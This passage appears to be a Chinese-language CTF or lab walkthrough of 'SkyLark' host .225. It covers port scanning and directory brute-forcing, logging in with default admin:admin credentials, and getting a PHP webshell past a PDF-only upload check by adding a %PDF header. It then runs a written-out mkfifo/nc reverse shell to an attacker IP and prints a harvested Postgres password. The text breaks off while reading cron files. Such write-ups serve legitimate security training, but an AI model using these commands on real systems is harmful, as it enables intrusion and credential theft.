Challenge 3 - SkyLark(2)
Challenge 3 - SkyLark(2) 下一台目標選定 .225 Rustscan,└─$ rustscan -a 192.168.211.225 --scripts none --ulimit 5000 | tee rustscan 只有 3 個 Port,21、80、8090 snmp check nmap whatweb 80 / 80 /robots.txt gobuster 沒有東西 8090 / 8090 /robots.txt gobuster 8090 gobuster 8090/backend gobuster 8090/backend/default http://192.168.211.225:8090/backend/default/index.php 有個登入頁面 admin:admin 既然可以登入.......看來可以上傳檔案 上傳 test.txt 告知只能上傳 pdf 檔案 改副檔名 test.pdf 上傳一樣失敗,看來會檢查檔案的格式 真實上傳一個 PDF 的檔案格式,看來就能正常上傳了 也可以在 http://192.168.196.225:8090/backend/default/uploads/test.pdf 正常讀取到檔案 修改 webshell 註記是 PDF 檔案格式,於檔案表頭加入 %PDF-1.7 上傳 webshell.php 測試發現成功,也可以正常開啟 http://192.168.196.225:8090/backend/default/uploads/webshell.php 執行 whoami 可以正常執行 使用最好用的 rm 指令,rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f 直接拿到 Reverse Shell 了 先拿取第一階段的 flag 在路徑 /var/www/backend/default 下有一個 config.php 檔案裡面有資料路連接的憑證 postgres:EAZT5EMULA75F8MC cat /etc/passwd 有兩個使用者帳號 uploader、ftpuploader cat /etc/cron...